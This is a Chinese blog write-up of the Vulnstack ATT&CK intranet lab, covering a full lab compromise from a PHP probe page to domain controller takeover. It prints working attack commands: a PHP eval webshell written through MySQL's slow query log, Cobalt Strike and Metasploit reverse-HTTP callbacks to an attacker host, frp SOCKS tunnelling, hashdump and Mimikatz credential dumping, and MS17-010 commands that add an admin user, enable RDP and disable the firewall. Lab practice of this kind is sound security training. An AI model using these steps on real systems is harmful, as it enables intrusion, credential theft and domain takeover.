前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网靶场实战——ATT&CK实战系列(一)

内网靶场实战——ATT&CK实战系列(一)

作者头像
用户9691112
发布2023-05-18 13:51:39
6390
发布2023-05-18 13:51:39
举报
文章被收录于专栏:quan9i的安全笔记

环境搭建

靶场地址http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 下载过文件后,需配置如下两个虚拟网络(一个内网,一个外网)

靶场拓扑图如下

这里我们的win7是作为Web服务器的,所以我们需要给Web服务器配置两张网卡,如下所示

另外两台机器则是内网机器,只需要设置一张网卡即可

接下来如何检测环境是否搭建完成了呢 通过ipconfig可查看本机ip,我们这里准备一个kali机器作为攻击机,然后用win7来pingkali机器,再ping两台内网机器,如果可以ping通则说明没问题 接下来在Win7中开启phpstudy

至此,环境搭建完成。

本次使用的攻击机及靶场IP

代码语言:javascript
复制
kali: 192.168.10.128
Win7:外网192.168.10.129  内网192.168.52.143
Win2003:192.168.52.141
Win Server: 192.168.52.138

外网

信息搜集

假设现在已知靶机ip,我们使用nmap对外网进行扫描

代码语言:javascript
复制
nmap.exe -p1-65535 -Pn -A -T4 192.168.10.129
//这个命令行指令是使用nmap工具(nmap.exe)扫描IP地址为192.168.10.22的设备,扫描端口范围为
1-65535,使用-Pn选项表示不进行主机发现,使用-A选项表示进行操作系统指纹识别,使用-T4选项表示
扫描速度为最快。

探测到80及3306端口存活,访问一下发现是PHP探针

发现绝对路径泄露,接下来扫描一下是否有其他敏感信息泄露,使用dirsearch进行扫描 此时发现phpmyadmin文件存在,访问之 尝试弱口令登录,root/root成功登录

接下来这里的话是我们可以尝试Mysql写入一句话木马,因为我们刚刚在PHP探针界面已知了绝对路径 这里的话我们首先看一下是否有写入权限

代码语言:javascript
复制
SHOW GLOBAL VARIABLES LIKE '%secure%'

secure_file_privNULL,禁止导入导出。

写入木马

接下来去寻找绕过secure_file_priv的方法,发现这篇文章 https://www.cnblogs.com/c1e4r/articles/8902444.html 思路与PHP文件包含中的日志UA传马类似,这里相比更简单一些,通过在日志中写日志,修改日志路径,实现写马。

慢查询日志默认是禁用的,我们这里对其进行开启

代码语言:javascript
复制
set global slow_query_log=1;

接下来修改slow_query_log_file日志文件的绝对路径以及文件名,我们这里已知绝对路径,因此直接写即可

代码语言:javascript
复制
set global slow_query_log_file='C:/phpStudy/WWW/shell.php'

此时可以看一下是否修改成功

代码语言:javascript
复制
show variables like '%slow%';

可以看到路径是绝对文件路径。 接下来向日志文件写入shell

代码语言:javascript
复制
'<?php @eval($_POST[1]);?>' or sleep(10)

成功执行命令,用蚁剑连接

ipconfig查看一下网段信息

发现还有另一个ip,一眼顶真,有两张网卡,192.168.52.143为内网IP

Cs上线

接下来Cs上线,具体步骤如下 设置木马

监听81端口,而后生成木马文件(记得关闭本机的杀软,例如火绒) 接下来通过中国蚁剑上传木马文件

在虚拟终端中执行木马文件

此时可以看到Win7成功上线

内网

信息搜集

Cs此时已上线,我们使用hashdump抓取密码

代码语言:javascript
复制
hashdump

运行Mimikatz获取明文密码

在蚁剑虚拟终端中执行如下指令,判断是否存在域及当前域

代码语言:javascript
复制
net config workstation

可以确定当前域为god.org 查看域内机器

代码语言:javascript
复制
Net view

可以发现有两台内网机器,同时确定域服务器名称为OWA 接下来联动msf,继续进行渗透 在kali中输入msfconsole进入msf 接下来利用handler模块开启监听

代码语言:javascript
复制
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.10.128
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > run

接下来回到Cs,右键选择Spawn

设置Payload为Foreign HTTP,监听ip为kaliIP,端口为刚刚的8888端口

而后选择choose

成功上线msf,接下来搜集补丁信息

代码语言:javascript
复制
run post/windows/gather/enum_patches

搜集电脑上安装的软件

代码语言:javascript
复制
run post/windows/gather/enum_applications

发现存在nmap 已知这里存在内网,我们这里添加新路由

代码语言:javascript
复制
run autoroute -s 192.168.52.0/24
run autoroute -p

接下来去设置代理,这里使用frp进行内网穿透,首先在kali中执行命令如下

代码语言:javascript
复制
./frps -c frps.ini

接下来将frpc.exefrpc.ini通过蚁剑上传到win7,修改frpc.ini内容如下

代码语言:javascript
复制
[common]
server_addr = 192.168.10.128
server_port = 7000

[plugin_socks]
type = tcp remote_port = 7777 plugin = socks5

接下来执行frpc

代码语言:javascript
复制
frpc.exe -c frpc.ini

可以发现代理已设置成功,直接对内网机器进行攻击即可,扫描机器存活端口

代码语言:javascript
复制
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set threads 100
run

扫描到存在135、445端口,说明存在SMB服务

接管域成员

首先扫描机器版本

代码语言:javascript
复制
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run

发现是Windows2003版本,那么接下来我们验证一下是否存永恒之蓝漏洞

代码语言:javascript
复制
search ms17-010
use 1
set RHOSTS 192.168.52.141
run

可以发现确实存在永恒之蓝漏洞,直接打

代码语言:javascript
复制
use 2
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.141
set lport 11111
run

但此时没打下来,因此尝试执行一些命令

代码语言:javascript
复制
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

这里的话我们的思路是添加用户,升级为管理员权限,然后尝试手动开启3389端口实现机器接管

代码语言:javascript
复制
set command net user test hongrisec@2019 /add #添加用户
run 

接下来添加管理员权限

代码语言:javascript
复制
set command net localgroup administrators test /add #管理员权限
run

接下来尝试开启3389端口

代码语言:javascript
复制
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run 

但此时去远控主机却出现了点问题

所以接下来更换一下代理方式,将frp换为socks5

代码语言:javascript
复制
use auxiliary/server/socks_proxy
set SRVHOST 192.168.10.128
set SRVPORT 1080
run

而后编辑一下配置文件

代码语言:javascript
复制
vim /etc/proxychains.conf

内容如下

接下来尝试远控域成员

代码语言:javascript
复制
proxychains rdesktop 192.168.52.141 

用刚刚写入的用户名和密码即可登入 接下来进行反弹shell

代码语言:javascript
复制
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

至此,成功接管域内机器

接管域控

扫描域控存活端口发现135、445存活,存在SMB服务,探测主机版本

代码语言:javascript
复制
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.138
run

接下来同上,执行命令,添加管理员,反弹shell

代码语言:javascript
复制
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command netsh firewall set opmode mode=disable #关闭防火墙
run

接下来可以用刚刚抓取到的密码进行远程登录

而后我们反弹shell

代码语言:javascript
复制
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

至此,成功接管域控。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023/02/28 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
  • 外网
    • 信息搜集
      • 写入木马
        • Cs上线
        • 内网
          • 信息搜集
            • 接管域成员
              • 接管域控
              相关产品与服务
              云服务器
              云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档